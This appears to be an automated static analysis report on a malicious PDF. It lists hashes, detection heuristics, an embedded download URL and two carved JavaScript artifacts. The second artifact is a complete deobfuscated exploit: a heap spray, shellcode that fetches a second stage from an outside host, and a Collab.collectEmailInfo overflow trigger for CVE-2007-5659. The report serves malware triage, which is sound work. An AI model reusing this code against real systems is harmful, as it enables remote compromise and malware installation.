Malicious PDF — malware analysis report

Static analysis result for SHA-256 ee422110205df1c8…

MALICIOUS

PDF

4.7 KB Created: 2008-08-06 01:42:27 Authoring application: Scribus 1.3.3.12 (via Scribus PDF Library 1.3.3.12) First seen: 2026-05-08
MD5: 512664235e255f6a086d1814cb604f51 SHA-1: 160e9ef69de8ef0884bd02df625014136996400b SHA-256: ee422110205df1c82c527664532b1c6a415420accef9ce479eecbd8b30ddc52d
308 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell

The PDF contains embedded JavaScript with multiple heuristic firings indicating obfuscation and the use of eval(). This suggests the script is designed to execute arbitrary code. The presence of PDF_JAVASCRIPT, PDF_JS, and PDF_EVAL heuristics strongly indicates a malicious script execution attempt. The script itself is heavily obfuscated, making it difficult to determine its exact payload, but the eval() call is a clear indicator of dynamic code execution.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 8

  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • JavaScript action low 3 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    function MnVmGz(){eval("function im"+"p"+"lo"+"de(gl"+"ue,pie"+"ces){return ((pieces instanceof Array)?pie"+"ce"+"s.jo"+"in(glu"+"e):pie"+"ces);}");eval("function YBQGEUyoo51(GZEwx7K){return St"+"rin"+"g['fro"+"mCh"+"arC"+"ode']"+"(GZEwx7K)"+";"+"}");eval("function R5IjFtweC9oX(FlqRiNkBlmykRL){var zNAx8xi5W39Qn="+"0,LnGlsZV9TSmgaa=FlqRiNkBlmykRL.l"+"en"+"gth,KZym2h0msvYrf1=10"+"2"+"4,oz14ltcH26jo,jPzGyy31,pmY8KQ='',MdZLec7Y=zNAx8xi5W39Qn,FaL8O8Rn=zNAx8xi5W39Qn,sm6kmlwZK4uk=zNAx8xi5W39Qn,eORa35h= …
  • PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Generic recovered JavaScript exploit stage high PDF_GENERIC_STAGE_RECOVERY
    Bounded static stage recovery exposed hidden JavaScript through generic transforms such as null-byte collapse, percent decoding, marker replacement, arithmetic character codes, fromCharCode, numeric arrays, numeric-array minus-key decoders, alphabet-index arrays, /Producer half-difference metadata arrays, hex literals, marker-stripped Base64 literals, custom 6-bit XOR table decoders, or repeated-marker hex carriers. This rule is emitted only when the recovered stage contains exploit-like Acrobat JavaScript or shellcode markers.
  • Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://operative.cc/liveinternet/load.php?id=55&spl=4 Referenced by PDF JavaScript

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0013_001.js pdf-javascript-stream PDF /JS object 13 at offset 0x364 6487 bytes
SHA-256: b551cf03fcd10db1a7d8d7b5b82310047f067bf2a10ea3e06ce184a09dfb9928
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 4 eval/decoder/string-building token(s). 158 of 255 identifiers look randomly generated (e.g. 'vZLfg1yCAZLGF514vZLGg5yEAZLmmF1CAZLdB'); 2 string-concatenation chain(s) — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
function MnVmGz(){eval("function im"+"p"+"lo"+"de(gl"+"ue,pie"+"ces){return ((pieces instanceof Array)?pie"+"ce"+"s.jo"+"in(glu"+"e):pie"+"ces);}");eval("function YBQGEUyoo51(GZEwx7K){return St"+"rin"+"g['fro"+"mCh"+"arC"+"ode']"+"(GZEwx7K)"+";"+"}");eval("function R5IjFtweC9oX(FlqRiNkBlmykRL){var zNAx8xi5W39Qn="+"0,LnGlsZV9TSmgaa=FlqRiNkBlmykRL.l"+"en"+"gth,KZym2h0msvYrf1=10"+"2"+"4,oz14ltcH26jo,jPzGyy31,pmY8KQ='',MdZLec7Y=zNAx8xi5W39Qn,FaL8O8Rn=zNAx8xi5W39Qn,sm6kmlwZK4uk=zNAx8xi5W39Qn,eORa35h=Ar"+"ra"+"y(63,6,17,55,27,54,2,58,28,4,0,0,0,0,0,0,62,33,48,43,38,47,49,44,56,18,34,29,22,59,5,50,57,19,9,53,11,7,21,61,8,16,0,0,0,0,0,36,0,1,52,13,20,30,40,45,10,3,31,42,39,41,24,23,14,35,15,12,60,51,32,37,25,26,46);f"+"o"+"r(jPzGyy31=M"+"at"+"h.c"+"ei"+"l(LnGlsZV9TSmgaa/"+"KZym2h0msvYrf1)"+";jPzGyy31>zNAx8xi5W39Qn;jPzGyy31-"+"-){fo"+"r(oz14ltcH26jo=Ma"+"th.m"+"in(LnGlsZV9TSmgaa,KZym2h0msvYrf1);oz14ltcH26jo>zNAx8xi5W39Qn;oz14ltcH26jo-"+"-,LnGlsZV9TSmgaa-"+"-){sm6kmlwZK4uk|"+"=(eORa35h[FlqRiNkBlmykRL.cha"+"rCod"+"eAt(MdZLec7Y+"+"+)-48])<"+"<FaL8O8Rn;if(FaL8O8Rn){pmY8KQ+"+"=YBQGEUyoo51"+"(45^sm6kmlwZK4uk&"+"2"+"5"+"5);sm6kmlwZK4uk>"+">="+"8;FaL8O8Rn-"+"="+"2;}el"+"se{FaL8O8Rn="+"6"+";}}"+"}return (pmY8KQ);}var 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'di2bY1xYa1jYY','iSR5Ui2NIva1KcnZ9cdlnj','s9VXa1n','bx2ixV92ecv','Q','6Nd','YsW_j','xRboXSZ9cHDYaN9QrcvQ','6NdYX','PdLfa','9Q','9N','9xig_YNnw','onW','b2obBir9ZYemb','Ncd','lnjs9VXa1nbaNaLbZdcZV','i','VP','bKJ','w','S1iAD','QddZaLZ']);");eval(R5IjFtweC9oX(T6BeDZlf));}
generic_stage_recovery_000.js deobfuscated-js generic stage recovery sixbit-xor-table from JavaScript object 13 at offset 0x364 2644 bytes
SHA-256: 1b8b3b25bc6f295dcaea953cd3f36b3f1d6153cfa18442d687e53d62ee3e4c88
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 3 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var sUTZB8 = new Array(); function qPWUJPu(XDsphv29x0w, sCSBMwfv8mmMCI) { while (XDsphv29x0w.length*2<sCSBMwfv8mmMCI){XDsphv29x0w += XDsphv29x0w;} XDsphv29x0w = XDsphv29x0w.substring(0,sCSBMwfv8mmMCI/2); return XDsphv29x0w; } function IilJJyC0g8() { var C5KlXFyzRKv7G = 0x0c0c0c0c; var c4P6MGb52vN18 = unescape("%u4343%u4343%u4343%u0FEB%u335B%u66C9%u80B9%u8001%uEF33%uE243%uEBFA%uE805%uFFEC%uFFFF%u8B7F%uDF4E%uEFEF%u64EF%uE3AF%u9F64%u42F3%u9F64%u6EE7%uEF03%uEFEB%u64EF%uB903%u6187%uE1A1%u0703%uEF11%uEFEF%uAA66%uB9EB%u7787%u6511%u07E1%uEF1F%uEFEF%uAA66%uB9E7%uCA87%u105F%u072D%uEF0D%uEFEF%uAA66%uB9E3%u0087%u0F21%u078F%uEF3B%uEFEF%uAA66%uB9FF%u2E87%u0A96%u0757%uEF29%uEFEF%uAA66%uAFFB%uD76F%u9A2C%u6615%uF7AA%uE806%uEFEE%uB1EF%u9A66%u64CB%uEBAA%uEE85%u64B6%uF7BA%u07B9%uEF64%uEFEF%u87BF%uF5D9%u9FC0%u7807%uEFEF%u66EF%uF3AA%u2A64%u2F6C%u66BF%uCFAA%u1087%uEFEF%uBFEF%uAA64%u85FB%uB6ED%uBA64%u07F7%uEF8E%uEFEF%uAAEC%u28CF%uB3EF%uC191%u288A%uEBAF%u8A97%uEFEF%u9A10%u64CF%uE3AA%uEE85%u64B6%uF7BA%uAF07%uEFEF%u85EF%uB7E8%uAAEC%uDCCB%uBC34%u10BC%uCF9A%uBCBF%uAA64%u85F3%uB6EA%uBA64%u07F7%uEFCC%uEFEF%uEF85%u9A10%u64CF%uE7AA%uED85%u64B6%uF7BA%uFF07%uEFEF%u85EF%u6410%uFFAA%uEE85%u64B6%uF7BA%uEF07%uEFEF%uAEEF%uBDB4%u0EEC%u0EEC%u0EEC%u0EEC%u036C%uB5EB%u64BC%u0D35%uBD18%u0F10%u64BA%u6403%uE792%uB264%uB9E3%u9C64%u64D3%uF19B%uEC97%uB91C%u9964%uECCF%uDC1C%uA626%u42AE%u2CEC%uDCB9%uE019%uFF51%u1DD5%uE79B%u212E%uECE2%uAF1D%u1E04%u11D4%u9AB1%uB50A%u0464%uB564%uECCB%u8932%uE364%u64A4%uF3B5%u32EC%uEB64%uEC64%uB12A%u2DB2%uEFE7%u1B07%u1011%uBA10%uA3BD%uA0A2%uEFA1%u7468%u7074%u2F3A%u6F2F%u6570%u6172%u6974%u6576%u632E%u2F63%u696C%u6576%u6E69%u6574%u6E72%u7465%u6C2F%u616F%u2E64%u6870%u3F70%u6469%u353D%u2635%u7073%u3D6C%u0034"); var alprpiuEoG = 0x400000; var kKXKiXSGE = c4P6MGb52vN18.length * 2; var sCSBMwfv8mmMCI = alprpiuEoG - (kKXKiXSGE+0x38); var XDsphv29x0w = unescape("%u9090%u9090"); XDsphv29x0w = qPWUJPu(XDsphv29x0w, sCSBMwfv8mmMCI); var Rk212tIGj2rVri = (C5KlXFyzRKv7G - 0x400000)/alprpiuEoG; for (var lFiVK3HrIFq=0;lFiVK3HrIFq<Rk212tIGj2rVri;lFiVK3HrIFq++) { sUTZB8[lFiVK3HrIFq] = XDsphv29x0w + c4P6MGb52vN18; } } function xcZOt6nEc9() { var IbDPIB = app.viewerVersion.toString(); IbDPIB = IbDPIB.replace(/\D/g,""); var QCBDVSxX = new Array(IbDPIB.charAt(0),IbDPIB.charAt(1),IbDPIB.charAt(2)); if ((QCBDVSxX[0] == 8 && ((QCBDVSxX[1] == 1 && QCBDVSxX[2] < 2) || QCBDVSxX[1] < 1)) || (QCBDVSxX[0] == 7 && QCBDVSxX[1] < 1) || (QCBDVSxX[0] < 7)) { IilJJyC0g8(); var XO2nyeMMY = unescape("%u0c0c%u0c0c"); while(XO2nyeMMY.length < 44952) XO2nyeMMY += XO2nyeMMY; this.collabStore = Collab.collectEmailInfo({subj: "",msg: XO2nyeMMY}); } } xcZOt6nEc9();

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